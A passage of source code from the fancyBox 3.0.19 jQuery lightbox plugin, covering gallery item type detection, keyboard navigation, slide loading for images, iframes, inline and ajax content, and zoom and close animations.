type = obj.type;
src = obj.src || '';
if ( !type ) {
if ( obj.content ) {
type = 'html';
} else if ( src.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i) ) {
type = 'image';
} else if ( src.match(/\.(pdf)((\?|#).*)?$/i) ) {
type = 'pdf';
} else if ( src.charAt(0) === '#' ) {
type = 'inline';
}
obj.type = type;
}
// Step 3 - Some adjustments
obj.index = self.group.length;
// Check if $orig and $thumb objects exist
if ( obj.opts.$orig && !obj.opts.$orig.length ) {
delete obj.opts.$orig;
}
if ( !obj.opts.$thumb && obj.opts.$orig ) {
obj.opts.$thumb = obj.opts.$orig.find( 'img:first' );
}
if ( obj.opts.$thumb && !obj.opts.$thumb.length ) {
delete obj.opts.$thumb;
}
// Make sure we have caption as a string
if ( $.type( self.opts.caption ) === 'function' ) {
obj.opts.caption = self.opts.caption.apply( item, [ self, obj ] );
} else {
obj.opts.caption = obj.opts.caption === undefined ? '' : obj.opts.caption + '';
}
// Check if url contains selector used to filter the content
// Example: "ajax.html #something"
if ( type === 'ajax' ) {
srcParts = src.split(/\s+/, 2);
if ( srcParts.length > 1 ) {
obj.src = srcParts.shift();
obj.opts.selector = srcParts.shift();
}
}
if ( obj.opts.smallBtn == 'auto' ) {
if ( $.inArray( type, ['html', 'inline', 'ajax'] ) > -1 ) {
obj.opts.buttons = false;
obj.opts.smallBtn = true;
} else {
obj.opts.smallBtn = false;
}
}
if ( type === 'pdf' ) {
obj.type = 'iframe';
obj.opts.closeBtn = true;
obj.opts.smallBtn = false;
obj.opts.iframe.preload = false;
}
if ( obj.opts.modal ) {
$.extend(true, obj.opts, {
infobar : 0,
buttons : 0,
keyboard : 0,
slideShow : 0,
fullScreen : 0,
closeClickOutside : 0
});
}
self.group.push( obj );
});
},
// Attach an event handler functions for:
// - navigation elements
// - browser scrolling, resizing;
// - focusing
// - keyboard
// =================
addEvents : function() {
var self = this;
var runUpdate = function () {
$W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );
self.$refs.slider_wrap.show();
self.update();
};
self.removeEvents();
// Make navigation elements clickable
self.$refs.container.on('click.fb-close', '[data-fancybox-close]', function(e) {
e.stopPropagation();
e.preventDefault();
self.close( e );
}).on('click.fb-previous', '[data-fancybox-previous]', function(e) {
e.stopPropagation();
e.preventDefault();
self.previous();
}).on('click.fb-next', '[data-fancybox-next]', function(e) {
e.stopPropagation();
e.preventDefault();
self.next();
});
// Handle page scrolling and browser resizing
$( window ).on('orientationchange.fb resize.fb', function(e) {
requestAFrame(function() {
if ( e.type == "orientationchange" ) {
self.$refs.slider_wrap.hide();
requestAFrame( runUpdate );
} else {
runUpdate();
}
});
});
// Trap focus
$D.on('focusin.fb', function(e) {
var instance;
if ( $.fancybox ) {
instance = $.fancybox.getInstance();
if ( instance && !$( e.target ).hasClass( 'fancybox-container' ) && !$.contains( instance.$refs.container[0], e.target ) ) {
e.stopPropagation();
instance.focus();
}
}
});
// Enable keyboard navigation
$( document ).on('keydown.fb', function (e) {
var current = self.current,
keycode = e.keyCode || e.which;
if ( !current || !current.opts.keyboard ) {
return;
}
if ( $(e.target).is('input') || $(e.target).is('textarea') ) {
return;
}
// Backspace and Esc keys
if ( keycode === 8 || keycode === 27 ) {
e.preventDefault();
self.close();
return;
}
switch ( keycode ) {
case 37: // Left arrow
case 38: // Up arrow
e.preventDefault();
self.previous();
break;
case 39: // Right arrow
case 40: // Down arrow
e.preventDefault();
self.next();
break;
case 80: // "P"
case 32: // Spacebar
e.preventDefault();
if ( self.SlideShow ) {
e.preventDefault();
self.SlideShow.toggle();
}
break;
case 70: // "F"
if ( self.FullScreen ) {
e.preventDefault();
self.FullScreen.toggle();
}
break;
case 71: // "G"
if ( self.Thumbs ) {
e.preventDefault();
self.Thumbs.toggle();
}
break;
}
});
},
// Remove events added by the core
// ===============================
removeEvents : function () {
$W.off( 'scroll.fb resize.fb orientationchange.fb' );
$D.off( 'keydown.fb focusin.fb click.fb-close' );
this.$refs.container.off('click.fb-close click.fb-previous click.fb-next');
},
// Slide to left
// ==================
previous : function( duration ) {
if ( this.current.opts.loop || this.currIndex > 0 ) {
this.jumpTo( this.currIndex - 1, duration );
} else {
this.update( false, false, duration );
}
},
// Slide to right
// ===================
next : function( duration ) {
if ( this.current.opts.loop || this.currIndex < this.group.length - 1 ) {
this.jumpTo( this.currIndex + 1, duration );
} else {
this.update( false, false, duration );
}
},
// Display current gallery item, move slider to current position
// =============================================================
jumpTo : function ( to, duration ) {
var self = this,
firstRun = self.prevIndex === null,
index,
pos;
to = parseInt( to, 10 );
index = to;
pos = to;
index = index % self.group.length;
index = index < 0 ? self.group.length + index : index;
if ( self.isAnimating || ( index == self.currIndex && !firstRun ) ) {
return;
}
if ( self.group.length > 1 && !firstRun ) {
// Calculate closest position of upcoming item from the current one
if ( self.group.length == 2 ) {
pos = to - self.currIndex + self.currPos;
} else {
pos = index - self.currIndex + self.currPos;
if ( Math.abs( self.currPos - ( pos + self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
pos = pos + self.group.length;
} else if ( Math.abs( self.currPos - ( pos - self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
pos = pos - self.group.length;
}
}
}
self.prevIndex = self.currIndex;
self.prevPos = self.currPos;
self.currIndex = index;
self.currPos = pos;
// Create slides
self.createSlide( pos );
if ( self.group.length > 1 ) {
if ( self.opts.loop || pos - 1 >= 0 ) {
self.createSlide( pos - 1 );
}
if ( self.opts.loop || pos + 1 < self.group.length ) {
self.createSlide( pos + 1 );
}
}
self.current = self.slides[ pos ];
self.current.isMoved = false;
self.current.isComplete = false;
duration = parseInt( duration === undefined ? self.current.opts.speed * 1.5 : duration, 10 );
// Move slider to the next position
// Note: the content might still be loading
self.trigger( 'beforeMove' );
self.updateControls();
if ( firstRun ) {
self.current.$slide.addClass('fancybox-slide--current');
self.$refs.container.show();
self.$refs.bg.css('transition-duration', ( duration + 90 ) + 'ms').hide().show(0);
self.$refs.container.addClass( 'fancybox-container--ready' );
} else {
self.$refs.slider.children().removeClass('fancybox-slide--current fancybox-slide--complete');
}
// Set position immediately on first opening
self.update( true, false, firstRun ? 0 : duration, function() {
self.afterMove();
});
self.loadSlide( self.current );
},
// Create new "slide" element
// These are gallery items that are actually added to DOM
// =======================================================
createSlide : function( pos ) {
var self = this;
var $slide;
var index;
index = pos % self.group.length;
index = index < 0 ? self.group.length + index : index;
if ( !self.slides[ pos ] && self.group[ index ] ) {
$slide = $('<div class="fancybox-slide"></div>').appendTo( self.$refs.slider );
self.slides[ pos ] = $.extend( true, {}, self.group[ index ], {
pos : pos,
$slide : $slide,
isMoved : false,
isLoaded : false
});
}
},
zoomInOut : function( type, duration, callback ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var opacity = current.opts.opacity;
var $thumb = current.opts.$thumb;
var thumbPos = $thumb ? $thumb.offset() : 0;
var slidePos = current.$slide.offset();
var props;
var start;
var end;
if ( !$what || !thumbPos || !isElementInViewport( $thumb ) ) {
return false;
}
$.fancybox.stop( $what );
self.isAnimating = true;
props = {
top : thumbPos.top - slidePos.top + parseFloat( $thumb.css( "border-top-width" ) || 0 ),
left : thumbPos.left - slidePos.left + parseFloat( $thumb.css( "border-left-width" ) || 0 ),
width : $thumb.width(),
height : $thumb.height(),
scaleX : 1,
scaleY : 1
};
// Check if we need to animate opacity
if ( opacity == 'auto' ) {
opacity = Math.abs( current.width / current.height - props.width / props.height ) > 0.1;
}
if ( type === 'In' ) {
start = props;
end = self.getFitPos( current );
end.scaleX = end.width / start.width;
end.scaleY = end.height / start.height;
if ( opacity ) {
start.opacity = 0.1;
end.opacity = 1;
}
} else {
start = $.fancybox.getTranslate( $what );
end = props;
// Switch to thumbnail image to improve animation performance
if ( current.$ghost ) {
current.$ghost.show();
if ( current.$image ) {
current.$image.remove();
}
}
start.scaleX = start.width / end.width;
start.scaleY = start.height / end.height;
start.width = end.width;
start.height = end.height;
if ( opacity ) {
end.opacity = 0;
}
}
self.updateCursor( end.width, end.height );
// There is no need to animate width/height
delete end.width;
delete end.height;
$.fancybox.setTranslate( $what, start );
$what.show();
self.trigger( 'beforeZoom' + type );
setTimeout(function() {
$what.css( 'transition', 'all ' + duration + 'ms' );
$.fancybox.setTranslate( $what, end );
setTimeout(function() {
$what.css( 'transition', 'none' );
self.trigger( 'afterZoom' + type );
callback();
self.isAnimating = false;
}, duration + 20 );
}, 70);
return true;
},
// Start "zoom-in" animation if possible
// =====================================
zoomIn : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
self.allowZoomIn = false;
self.isOpening = true;
return self.zoomInOut( 'In', current.opts.speed, function() {
var reset = $.fancybox.getTranslate( $what );
reset.scaleX = 1;
reset.scaleY = 1;
// Reset scalex/scaleY values; this helps for perfomance
$.fancybox.setTranslate( $what, reset );
self.isOpening = false;
self.update( false, true, 0 );
if ( current.$ghost ) {
self.setBigImage( current );
}
});
},
// Start "zoom-out" animation if possible
// ======================================
zoomOut : function( callback ) {
var self = this;
var current = self.current;
if ( self.zoomInOut( 'Out', current.opts.speed, callback ) ) {
self.$refs.bg.css('transition-duration', current.opts.speed + 'ms');
this.$refs.container.removeClass( 'fancybox-container--ready' );
return true;
}
return false;
},
// Check if image dimensions exceed parent element
// ===============================================
canPan : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var rez = false;
if ( $what ) {
rez = self.getFitPos( current );
rez = Math.abs( $what.width() - rez.width ) > 1 || Math.abs( $what.height() - rez.height ) > 1;
}
return rez;
},
// Check if current image dimensions are smaller than actual
// =========================================================
isScaledDown : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var rez = false;
if ( $what ) {
rez = $.fancybox.getTranslate( $what );
rez = rez.width < current.width || rez.height < current.height;
}
return rez;
},
// Scale image to the actual size of the image
// ===========================================
scaleToActual : function( x, y, duration ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var imgPos, posX, posY, scaleX, scaleY;
var canvasWidth = parseInt( current.$slide.width(), 10 );
var canvasHeight = parseInt( current.$slide.height(), 10 );
var newImgWidth = current.width;
var newImgHeight = current.height;
if ( !$what ) {
return;
}
self.isAnimating = true;
x = x === undefined ? canvasWidth * 0.5 : x;
y = y === undefined ? canvasHeight * 0.5 : y;
imgPos = $.fancybox.getTranslate( $what );
scaleX = newImgWidth / imgPos.width;
scaleY = newImgHeight / imgPos.height;
// Get center position for original image
posX = ( canvasWidth * 0.5 - newImgWidth * 0.5 );
posY = ( canvasHeight * 0.5 - newImgHeight * 0.5 );
// Make sure image does not move away from edges
if ( newImgWidth > canvasWidth ) {
posX = imgPos.left * scaleX - ( ( x * scaleX ) - x );
if ( posX > 0 ) {
posX = 0;
}
if ( posX < canvasWidth - newImgWidth ) {
posX = canvasWidth - newImgWidth;
}
}
if ( newImgHeight > canvasHeight) {
posY = imgPos.top * scaleY - ( ( y * scaleY ) - y );
if ( posY > 0 ) {
posY = 0;
}
if ( posY < canvasHeight - newImgHeight ) {
posY = canvasHeight - newImgHeight;
}
}
self.updateCursor( newImgWidth, newImgHeight );
$.fancybox.animate( $what, {
top : imgPos.top,
left : imgPos.left,
width : newImgWidth,
height : newImgHeight,
scaleX : imgPos.width / newImgWidth,
scaleY : imgPos.height / newImgHeight
}, {
top : posY,
left : posX,
scaleX : 1,
scaleY : 1
}, duration || current.opts.speed, function() {
self.isAnimating = false;
});
},
// Scale image to fit inside parent element
// ========================================
scaleToFit : function( duration ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var end;
if ( !$what ) {
return;
}
self.isAnimating = true;
end = self.getFitPos( current );
self.updateCursor( end.width, end.height );
$.fancybox.animate( $what, null, {
top : end.top,
left : end.left,
scaleX : end.width / $what.width(),
scaleY : end.height / $what.height()
}, duration || current.opts.speed, function() {
self.isAnimating = false;
});
},
// Calculate image size to fit inside viewport
// ===========================================
getFitPos : function( slide ) {
var $what = slide.$placeholder || slide.$content;
var imgWidth = slide.width;
var imgHeight = slide.height;
var margin = slide.opts.margin;
var canvasWidth, canvasHeight, minRatio, top, left, width, height;
if ( !$what || !$what.length || ( !imgWidth && !imgHeight) ) {
return false;
}
// Convert "margin to CSS style: [ top, right, bottom, left ]
if ( $.type( margin ) === "number" ) {
margin = [ margin, margin ];
}
if ( margin.length == 2 ) {
margin = [ margin[0], margin[1], margin[0], margin[1] ];
}
if ( $W.width() < 800 ) {
margin = [0, 0, 0, 0];
}
canvasWidth = parseInt( slide.$slide.width(), 10 ) - ( margin[ 1 ] + margin[ 3 ] );
canvasHeight = parseInt( slide.$slide.height(), 10 ) - ( margin[ 0 ] + margin[ 2 ] );
minRatio = Math.min(1, canvasWidth / imgWidth, canvasHeight / imgHeight );
// Use floor rounding to make sure it really fits
width = Math.floor( minRatio * imgWidth );
height = Math.floor( minRatio * imgHeight );
top = Math.floor( ( canvasHeight - height ) * 0.5 ) + margin[ 0 ];
left = Math.floor( ( canvasWidth - width ) * 0.5 ) + margin[ 3 ];
return {
top : top,
left : left,
width : width,
height : height
};
},
// Move slider to current position
// Update all slides (and their content)
// =====================================
update : function( andSlides, andContent, duration, callback ) {
var self = this;
var leftValue = ( self.current.pos * Math.floor( self.current.$slide.width() ) * -1 ) - ( self.current.pos * self.current.opts.gutter ) ;
if ( self.isOpening === true ) {
return;
}
duration = parseInt( duration, 10 ) || 0;
$.fancybox.stop( self.$refs.slider );
if ( andSlides === false ) {
self.updateSlide( self.current, andContent );
} else {
$.each( self.slides, function( key, slide ) {
self.updateSlide( slide, andContent );
});
}
if ( duration ) {
$.fancybox.animate( self.$refs.slider, null, {
top : 0,
left : leftValue
}, duration, function() {
self.current.isMoved = true;
if ( $.type( callback ) === 'function' ) {
callback.apply( self );
}
});
} else {
$.fancybox.setTranslate( self.$refs.slider, { left : leftValue } );
if ( $.type( callback ) === 'function' ) {
callback.apply( self );
}
}
self.updateCursor();
},
// Update slide position and scale content to fit
// ==============================================
updateSlide : function( slide, andContent ) {
var self = this;
var $what = slide.$placeholder;
slide = slide || self.current;
if ( !slide || self.isClosing ) {
return;
}
$.fancybox.setTranslate( slide.$slide, { left : ( slide.pos * Math.floor( slide.$slide.width() ) ) + ( slide.pos * slide.opts.gutter) } );
if ( andContent !== false && $what ) {
$.fancybox.setTranslate( $what, self.getFitPos( slide ) );
}
slide.$slide.trigger( 'refresh' );
self.trigger( 'onUpdate', slide );
},
// Update cursor style depending if content can be zoomed
// ======================================================
updateCursor : function( nextWidth, nextHeight ) {
var self = this;
var canScale;
var $container = self.$refs.container.removeClass('fancybox-controls--canzoomIn fancybox-controls--canzoomOut fancybox-controls--canGrab');
if ( self.isClosing || !self.opts.touch ) {
return;
}
if ( nextWidth !== undefined && nextHeight !== undefined ) {
canScale = nextWidth < self.current.width && nextHeight < self.current.height;
} else {
canScale = self.isScaledDown();
}
if ( canScale ) {
$container.addClass('fancybox-controls--canzoomIn');
} else if ( self.group.length < 2 ) {
$container.addClass('fancybox-controls--canzoomOut');
} else {
$container.addClass('fancybox-controls--canGrab');
}
},
// Load content into the slide
// ===========================
loadSlide : function( slide ) {
var self = this, type, $slide;
var ajaxLoad;
if ( !slide ) {
return false;
}
if ( slide.isLoading ) {
return;
}
self.trigger( 'beforeLoad', slide );
type = slide.type;
$slide = slide.$slide;
$slide
.unbind( 'refresh' )
.trigger( 'onReset' )
.addClass( 'fancybox-slide--' + ( type || 'unknown' ) )
.addClass( slide.opts.slideClass );
slide.isLoading = true;
// Create content depending on the type
switch ( type ) {
case 'image':
self.setImage( slide );
break;
case 'iframe':
self.setIframe( slide );
break;
case 'html':
self.setContent( slide, slide.content );
break;
case 'inline':
if ( $( slide.src ).length ) {
self.setContent( slide, $( slide.src ) );
} else {
self.setError( slide );
}
break;
case 'ajax':
self.showLoading( slide );
ajaxLoad = $.ajax( $.extend( {}, slide.opts.ajax.settings, {
url: slide.src,
success: function ( data, textStatus ) {
if ( textStatus === 'success' ) {
self.setContent( slide, data );
}
},
error: function ( jqXHR, textStatus ) {
if ( jqXHR && textStatus !== 'abort' ) {
self.setError( slide );
}
}
}));
$slide.one( 'onReset', function () {
ajaxLoad.abort();
});
break;
default:
self.setError( slide );
break;
}
return true;
},
// Use thumbnail image, if possible
// ================================
setImage : function( slide ) {
var self = this;
if ( slide.isLoaded && !slide.hasError ) {
self.afterLoad( slide );
return;
}
slide.$placeholder = $('<div class="fancybox-placeholder"></div>').hide().prependTo( slide.$slide );
if ( slide.opts.preload !== false && slide.opts.width && slide.opts.height && ( slide.opts.thumb || slide.opts.$thumb ) ) {
slide.width = slide.opts.width;
slide.height = slide.opts.height;
slide.$ghost = $('<img />')
.addClass( 'fancybox-image' )
.one('load error', function() {
if ( self.isClosing ) {
return;
}
$( this ).appendTo( slide.$placeholder );
// Start preloading full size image
$('<img/>')[0].src = slide.src;
// Check if we can perform zoom-in animation
if ( !self.allowZoomIn || !( slide.index === self.currIndex && self.zoomIn() ) ) {
self.isOpening = false;
self.updateSlide( slide, true );
slide.$placeholder.show();
self.setBigImage( slide );
}
})
.attr( 'src', slide.opts.thumb || slide.opts.$thumb.attr( 'src' ) );
} else {
self.setBigImage( slide );
}
},
// Create full-size image
// ======================
setBigImage : function ( slide ) {
var self = this;
var $img = $('<img />');
if ( slide.opts.image.protect ) {
$('<div class="fancybox-spaceball"></div>').appendTo( slide.$placeholder );
}
$img.one('error', function() {
self.setError( slide );
}).one('load', function() {
if ( self.isClosing ) {
return;
}
slide.$image = $img.addClass('fancybox-image').appendTo( slide.$placeholder );
slide.width = this.naturalWidth;
slide.height = this.naturalHeight;
self.afterLoad( slide );
if ( slide.$ghost ) {
slide.timouts = setTimeout(function() {
slide.$ghost.hide();
}, 300);
}
}).attr('src', slide.src);
if ( $img[0].complete ) {
$img.trigger('load');
} else if( $img[0].error ) {
$img.trigger('error');
} else {
slide.timouts = setTimeout(function() {
if ( !$img[0].complete ) {
self.showLoading( slide );
}
}, 150);
}
},
// Simply show image holder without animation
// It has been hidden initially to avoid flickering
// ================================================
revealImage : function( slide ) {
if ( slide.$placeholder ) {
slide.$placeholder.show();
if ( slide.index === this.currIndex ) {
this.updateCursor();
}
}
},
// Create iframe wrapper, iframe and bindings
// ==========================================
setIframe : function( slide ) {
var self = this,
opts = slide.opts.iframe,
$slide = slide.$slide,
$iframe;
slide.$content = $('<div class="fancybox-content"></div>')
.css( opts.css )
.appendTo( $slide );
$iframe = $( opts.tpl.replace(/\{rnd\}/g, new Date().getTime()) )
.attr('scrolling', $.fancybox.isTouch ? 'auto' : opts.scrolling)
.appendTo( slide.$content );
if ( opts.preload ) {
slide.$content.addClass( 'fancybox-tmp' );
self.showLoading( slide );
// Unfortunately, it is not always possible to determine if iframe is successfully loaded
// (due to browser security policy)
$iframe.on('load.fb error.fb', function(e) {
this.isReady = 1;
slide.$slide.trigger( 'refresh' );
self.afterLoad( slide );
});
// Recalculate iframe content size
$slide.on('refresh.fb', function() {
var $wrap = slide.$content,
$contents,
$body,
scrollWidth,
frameWidth,
frameHeight;
if ( $iframe[0].isReady !== 1 ) {
return;
}
// Check if content is accessible,
// it will fail if frame is not with the same origin
try {
$contents = $iframe.contents();
$body = $contents.find('body');
} catch (ignore) {}
// Calculate dimensions for the wrapper
if ( $body && $body.length && !( opts.css.width !== undefined && opts.css.height !== undefined ) ) {
scrollWidth = $iframe[0].contentWindow.document.documentElement.scrollWidth;
frameWidth = Math.ceil( $body.outerWidth(true) + ( $wrap.width() - scrollWidth ) );
frameHeight = Math.ceil( $body.outerHeight(true) );
// Resize wrapper to fit iframe content
$wrap.css({
'width' : opts.css.width === undefined ? frameWidth + ( $wrap.outerWidth() - $wrap.innerWidth() ) : opts.css.width,
'height' : opts.css.height === undefined ? frameHeight + ( $wrap.outerHeight() - $wrap.innerHeight() ) : opts.css.height
});
}
$wrap.removeClass( 'fancybox-tmp' );
});
} else {
this.afterLoad( slide );
}
$iframe.attr( 'src', slide.src );
if ( slide.opts.smallBtn ) {
slide.$content.prepend( slide.opts.closeTpl );
}
// Remove iframe if closing or changing gallery item
$slide.one('onReset', function () {
// This helps IE not to throw errors when closing
try {
$(this).find('iframe').hide().attr('src', '//about:blank');
} catch (ignore) {}
$(this).empty();
});
},
// Wrap and append content to the slide
// ======================================
setContent : function ( slide, content ) {
var self = this;
if ( self.isClosing ) {
return;
}
self.hideLoading( slide );
slide.$slide.empty();
if ( isQuery( content ) && content.parent().length ) {
// If it is a jQuery object, then it will be moved to the box.
// The placeholder is created so we will know where to put it back.
// If user is navigating gallery fast, then the content might be already moved to the box
if ( content.data( 'placeholder' ) ) {
content.parents('.fancybox-slide').trigger( 'onReset' );
}
content.data({'placeholder' : $('<div></div>' ).hide().insertAfter( content ) }).css('display', 'inline-block');
} else {
if ( $.type( content ) === 'string' ) {
content = $('<div>').append( content ).contents();
if ( content[0].nodeType === 3 ) {
content = $('<div>').html( content );
}
}
if ( slide.opts.selector ) {
content = $('<div>').html( content ).find( slide.opts.selector );
}
}
slide.$slide.one('onReset', function () {
var placeholder = isQuery( content ) ? content.data('placeholder') : 0;
if ( placeholder ) {
content.hide().replaceAll( placeholder );
content.data( 'placeholder', null );
}
$(this).empty();
slide.isLoaded = false;
});
slide.$content = $( content ).appendTo( slide.$slide );
if ( slide.opts.smallBtn === true ) {
slide.$content.find( '.fancybox-close-small' ).remove().end().eq(0).append( slide.opts.closeTpl );
}
this.afterLoad( slide );
},
// Display error message
// =====================
setError : function ( slide ) {
slide.hasError = true;
this.setContent( slide, slide.opts.errorTpl );
},
showLoading : function( slide ) {
var self = this;
slide = slide || self.current;
if ( slide && !slide.$spinner ) {
slide.$spinner = $( self.opts.spinnerTpl ).appendTo( slide.$slide );
}
},
hideLoading : function( slide ) {
var self = this;
slide = slide || self.current;
if ( slide && slide.$spinner ) {
slide.$spinner.remove();
delete slide.$spinner;
}
},
afterMove : function() {
var self = this;
var current = self.current;
if ( !current ) {
return;
}
current.isMoved = true;
current.$slide.siblings().trigger( 'onReset' );
// Remove unnecessary slides
$.each( self.slides, function( key, slide ) {
// Leave current and neighbouring slides
if ( slide.pos < self.currPos - 1 || slide.pos > self.currPos + 1 ) {
slide.$slide.remove();
delete self.slides[ key ];
}
});
self.trigger( 'afterMove' );
if ( current.isLoaded ) {
self.complete();
}
},
// Adjustments after slide has been loaded
// =======================================
afterLoad : function( slide ) {
var self = this;
if ( self.isClosing ) {
return;
}
slide.isLoading = false;
slide.isLoaded = true;
self.trigger( 'afterLoad', slide );
self.hideLoading( slide );
// Resize content to fit inside slide
// Do not update in case we have $ghost element - user might have already zoomed/swiped
if ( !slide.$ghost ) {
self.updateSlide( slide, true );
}
if ( slide.index === self.currIndex ) {
if ( slide.isMoved ) {
self.complete();
} else {
self.revealImage( slide );
}
// Load next and previous image if needed
if ( self.slides[ self.currPos + 1 ] && self.slides[ self.currPos + 1 ].type === 'image' ) {
self.loadSlide( self.slides[ self.currPos + 1 ] );
}
if ( self.slides[ self.currPos - 1 ] && self.slides[ self.currPos - 1 ].type === 'image' ) {
self.loadSlide( self.slides[ self.currPos - 1 ] );
}
} else {
self.revealImage( slide );
}
},
// Final adjustments after current gallery item is moved to position
// and it`s content is loaded
// ==================================================================
complete : function() {
var self = this;
var curent = self.current;
curent.isComplete = true;
self.trigger( 'onComplete' );
if ( !(self.allowZoomIn && self.zoomIn() ) ) {
self.isOpening = false;
self.revealImage( curent );
}
curent.$slide.addClass('fancybox-slide--complete');
if ( self.opts.focus ) {
self.focus();
}
},
// Try to find and focus on the first focusable element
// ====================================================
focus : function() {
var $el = this.current && this.current.isComplete ? this.current.$slide.find('button,:input,[tabindex],a:not(".disabled")').filter(':visible:first') : null;
if ( !$el || !$el.length ) {
$el = this.$refs.container;
}
$el.focus();
// Scroll position of wrapper element sometimes changes after focusing (IE)
this.$refs.slider_wrap.scrollLeft(0);
// And the same goes for slide element
if ( this.current ) {
this.current.$slide.scrollTop(0);
}
},
// Activates current instance - brings container to the front and enables keyboard,
// notifies other instances about deactivating
// =================================================================================
activate : function () {
var self = this;
// Deactivate all instances
$( '.fancybox-container' ).each(function () {
var instance = $(this).data( 'FancyBox' );
// Skip self and closing instances
if (instance && instance.uid !== self.uid && !instance.isClosing) {
instance.trigger( 'onDeactivate' );
}
});
if ( self.current ) {
if ( self.$refs.container.index() > 0 ) {
self.$refs.container.prependTo( document.body );
}
self.updateControls();
}
self.trigger( 'onActivate' );
self.addEvents();
},
// Start closing procedure
// This will start "zoom-out" animation if needed and clean everything up afterwards
// =================================================================================
close : function( e ) {
var self = this;
var current = self.current;
var done = $.proxy(function() {
self.cleanUp( e ); // Now "this" is again our instance
}, this);
if ( self.isAnimating || self.isClosing ) {
return false;
}
self.isClosing = true;
if ( current.timouts ) {
clearTimeout( current.timouts );
}
if ( e !== true) {
$.fancybox.stop( self.$refs.slider );
}
self.$refs.container
.removeClass('fancybox-container--active')
.addClass('fancybox-container--closing');
current.$slide
.removeClass('fancybox-slide--complete')
.siblings()
.remove();
if ( !current.isMoved ) {
current.$slide.css('overflow', 'visible');
}
// Remove all events
// If there are multiple instances, they will be set again by "activate" method
self.removeEvents();
// Clean up
self.hideLoading( current );
self.hideControls();
self.updateCursor();
self.trigger( 'beforeClose', current, e );
if ( e === true) {
setTimeout( done, current.opts.speed );
this.$refs.container.removeClass( 'fancybox-container--ready' );
} else if ( !self.zoomOut( done ) ) {
$.fancybox.animate( self.$refs.container, null, { opacity : 0 }, current.opts.speed, "easeInSine", done );
}
},
// Final adjustments after removing the instance
// =============================================
cleanUp : function( e ) {
var self = this,
instance;
self.$refs.slider.children().trigger( 'onReset' );
self.$refs.container.empty().remove();
self.current = null;
self.trigger( 'afterClose', e);
// Check if there are other instances
instance = $.fancybox.getInstance();
if ( instance ) {
instance.activate();
} else {
$( 'body' ).removeClass( 'fancybox-enabled' );
$( '#fancybox-noscroll' ).remove();
}
// Place back focus
if ( self.$lastFocus ) {
self.$lastFocus.focus();
}
$W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );
},
// Call callback and trigger an event
// ==================================
trigger : function( name, slide ) {
var args = Array.prototype.slice.call(arguments, 1),
self = this,
obj = slide && slide.opts ? slide : self.current;
if ( obj ) {
args.unshift( obj );
} else {
obj = self;
}
args.unshift( self );
if ( $.isFunction( obj.opts[ name ] ) ) {
obj.opts[ name ].apply( obj, args );
}
self.$refs.container.trigger( name + '.fb', args);
},
// Toggle toolbar and caption
// ==========================
toggleControls : function( force ) {
if ( this.isHiddenControls ) {
this.updateControls( force );
} else {
this.hideControls();
}
},
// Hide toolbar and caption
// ========================
hideControls : function () {
this.isHiddenControls = true;
this.$refs.container.removeClass('fancybox-show-controls');
this.$refs.container.removeClass('fancybox-show-caption');
},
// Update infobar values, navigation button states and reveal caption
// ==================================================================
updateControls : function ( force ) {
var self = this;
var $container = self.$refs.container;
var $caption = self.$refs.caption;
// Toggle infobar and buttons
var current = self.current;
var index = current.index;
var opts = current.opts;
var caption = opts.caption;
if ( this.isHiddenControls && force !== true ) {
return;
}
this.isHiddenControls = false;
self.$refs.container.addClass('fancybox-show-controls');
$container
.toggleClass('fancybox-show-infobar', !!opts.infobar && self.group.length > 1)
.toggleClass('fancybox-show-buttons', !!opts.buttons )
.toggleClass('fancybox-is-modal', !!opts.modal );
$('.fancybox-button--left', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index <= 0 ) );
$('.fancybox-button--right', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index >= self.group.length - 1) );
$('.fancybox-button--play', $container).toggle( !!( opts.slideShow && self.group.length > 1) );
$('.fancybox-button--close', $container).toggle( !!opts.closeBtn );
// Update infobar values
$('.js-fancybox-count', $container).html( self.group.length );
$('.js-fancybox-index', $container).html( index + 1 );
// Recalculate content dimensions
current.$slide.trigger( 'refresh' );
// Reveal or create new caption
if ( $caption ) {
$caption.empty();
}
if ( caption && caption.length ) {
$caption.html( caption );
this.$refs.container.addClass( 'fancybox-show-caption ');
self.$caption = $caption;
} else {
this.$refs.container.removeClass( 'fancybox-show-caption' );
}
}
});
$.fancybox = {
version : "3.0.19",
defaults : defaults,
// Get current instance and execute a command.
//
// Examples of usage:
//
// $instance = $.fancybox.getInstance();
// $.fancybox.getInstance().jumpTo( 1 );
// $.fancybox.getInstance( 'jumpTo', 1 );
// $.fancybox.getInstance( function() {
// console.info( this.currIndex );
// });
// ======================================================
getInstance : function ( command ) {
var instance = $('.fancybox-container:not(".fancybox-container--closing"):first').data( 'FancyBox' );
var args = Array.prototype.slice.call(arguments, 1);
if ( instance instanceof FancyBox ) {
if ( $.type( command ) === 'string' ) {
instance[ command ].apply( instance, args );
} else if ( $.type( command ) === 'function' ) {
command.apply( instance, args );
}
return instance;
}
return false;
},
// Create new instance
// ===================
open : function ( items, opts, index ) {
return new FancyBox( items, opts, index );
},
// Close current or all instances
// ==============================
close : function ( all ) {
var instance = this.getInstance();
if ( instance ) {
instance.close();
// Try to find and close next instance
if ( all === true ) {
this.close();
}
}
},
// Test for the existence of touch events in the browser
// Limit to mobile devices
// ====================================================
isTouch : document.createTouch !== undefined && /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent),
// Detect if 'translate3d' support is available
// ============================================
use3d : (function() {
var div = document.createElement('div');
return window.getComputedStyle( div ).getPropertyValue('transform') && !(document.documentMode && document.documentMode <= 11);
}()),
// Helper function to get current visual state of an element
// returns array[ top, left, horizontal-scale, vertical-scale, opacity ]
// =====================================================================
getTranslate : function( $el ) {
var position, matrix;
if ( !$el || !$el.length ) {
return false;
}
position = $el.get( 0 ).getBoundingClientRect();
matrix = $el.eq( 0 ).css('transform');
